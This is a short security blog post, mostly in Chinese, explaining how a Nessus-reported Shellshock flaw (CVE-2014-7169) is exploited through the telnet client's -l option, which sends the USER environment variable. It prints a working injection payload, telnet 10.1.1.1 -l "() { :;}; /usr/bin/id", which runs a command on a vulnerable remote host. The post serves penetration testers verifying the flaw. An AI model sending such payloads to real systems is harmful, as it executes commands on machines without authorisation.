Shellshock漏洞与Telnet USER变量的利用解析

本文详细解析如何通过Telnet的USER环境变量利用Shellshock漏洞(CVE-2014-7169),包括漏洞原理、利用步骤及实际演示,帮助安全研究人员理解并验证此类漏洞的利用方法。

Shellshock and the Telnet USER Variable

在一次最近的测试中,Nessus扫描器报告了以下关键问题:

GNU Bash 本地环境变量处理命令注入 via Telnet (CVE-2014-7169) (Shellshock)

通过向远程服务器发送畸形的USER环境变量,可以成功利用此漏洞,允许执行’id’命令:

1
telnet 10.1.1.1 -l "() { :;}; /usr/bin/id"

虽然我了解Shellshock漏洞的基本概念,但在此场景下如何实际利用并不清楚。经过多次搜索,发现大量关于Shellshock是什么及哪些设备易受攻击的信息,但缺乏具体的利用方法说明。

通过一些实验、数据包捕获及查阅手册页,最终找到了解决方案,并决定记录以帮助他人。

关键在于标准Linux telnet客户端的一个不为人知的功能:

1
2
-l user
指定用户作为远程系统登录用户。通过将指定名称作为USER环境变量发送实现,要求远程系统支持TELNET NEW-ENVIRON选项。此选项隐含-a选项,也可与open命令一起使用。

了解这一点后,利用变得简单直接:

1
telnet 10.1.1.1 -l "() { :;}; /usr/bin/id"

以下截图展示了成功的漏洞利用:

(截图位置)


Recent Archive

  • SteelCon Ninja Run 2022
  • Cracked Flask Lab
  • WSL2 DNS Oddness
  • Splitting XSS payloads
  • Alert Function Hijacking
  • The CORS Demos
  • Entering a new community
  • Out running with friends at SteelCon 2019
  • An odd quirk with XSS through JavaScript URI
  • Becoming More Accessible
  • Using HTTP Pipelining to hide requests
  • Domain Fronting with Cloudflare
  • Domain Fronting with CloudFront
  • A 101 on Domain Fronting
  • More …

Support The Site

本站所有项目均为无偿创作,如果您想支持我的工作,可以通过以下推广链接使用,我会获得账户积分或现金回馈(通常仅为几分钱,但积少成多)。

[Buy me a smoothie]


所有内容均由Robin Wood创建,除非另有说明

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计